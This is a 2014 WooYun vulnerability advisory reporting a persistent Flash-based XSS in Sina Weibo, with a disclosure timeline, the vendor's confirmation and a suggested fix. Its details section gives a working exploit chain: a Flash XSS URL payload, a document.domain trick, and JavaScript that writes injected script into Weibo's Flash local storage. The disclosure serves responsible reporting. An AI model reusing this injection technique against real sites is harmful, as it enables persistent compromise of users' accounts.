当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076039

漏洞标题:新浪微博flash xss rookit (乌云峰会视频演示-0x04)

相关厂商:新浪

漏洞作者: 多多关照

提交时间:2014-09-14 12:52

修复时间:2014-10-29 12:54

公开时间:2014-10-29 12:54

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-16: 厂商已经确认,细节仅向厂商公开
2014-09-26: 细节向核心白帽子及相关领域专家公开
2014-10-06: 细节向普通白帽子公开
2014-10-16: 细节向实习白帽子公开
2014-10-29: 细节向公众公开

简要描述:

乌云峰会演示 0x04

详细说明:

1. 存在缺陷的文件为:http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf,该文件的addcallback添加的函数接口的返回值未经过滤,然后allowDomain允许一些白名单内的域名
2. 为了操作本地存储,我们需要首先找到一个白名单域内的XSS,比如 blog.sina.com.cn
3. 但是这个不一定好找,我们找到一个 qing.blog.sina.com.cn下的FLASH XSS

http://qing.blog.sina.com.cn/blog/static/swf/markBlogUp.swf?onflashready=alert(1)


4. 接着利用新浪博客域下的文件,经常会有一句 document.domain="sina.com.cn"的特性。
我们将 http://qing.blog.sina.com.cn/blog/static/swf/markBlogUp.swf?onflashready=alert(1) 的域也设置到 document.domain='sina.com.cn'
然后即可同 blog.sina.com.cn下的 http://blog.sina.com.cn/main_v5/ria/blank2.html 文件进行交互操作。
5. 在blank2.html中调用 http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf 并对FLASH进行操作,利用代码如下:

document.domain="sina.com.cn";
var _m=document.createElement("iframe");
_m.src="http://blog.sina.com.cn/main_v5/ria/blank2.html";
document.body.appendChild(_m);
_m.onload=function(){
_m.contentWindow.document.body.innerHTML='aaaaaaaaaaa<embed width="1" height="1" name="webim_storage" src="http://js.t.sinajs.cn/t5/webim/swf/sync_storage.swf?v=9b978b0850930148" type="application/x-shockwave-flash" allowscriptaccess="always" wmode="transparent" flashvars="uid=1220670672"></embed>bbbbbbbbb';
var _x=setInterval(function(){
if(_m.contentWindow.document["webim_storage"]&&_m.contentWindow.document["webim_storage"].setSo){
_m.contentWindow.document["webim_storage"].setSo('groupData','aa\\";alert(\'hacked by wooyun\');1;//aa');
clearInterval(_x);
alert("Ready? Go ....");
}
},500);
};


6. 利用以上代码,构建恶意页面,用户访问后,打开新浪微博,即可执行 “恶意代码”。

漏洞证明:

见视频:
http://v.youku.com/v_show/id_XNzc5MTYxOTMy.html
密码:wooyunsummit

修复方案:

在保证业务不受影响的前提下,过滤addCallback所使用的FLASH函数的返回值中的 反斜线。如果可以,尽量可以使用正则,限定返回值内容只能为数字+字母。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-09-16 11:30

厂商回复:

需要用户点击,感谢关注新浪安全。

最新状态:

暂无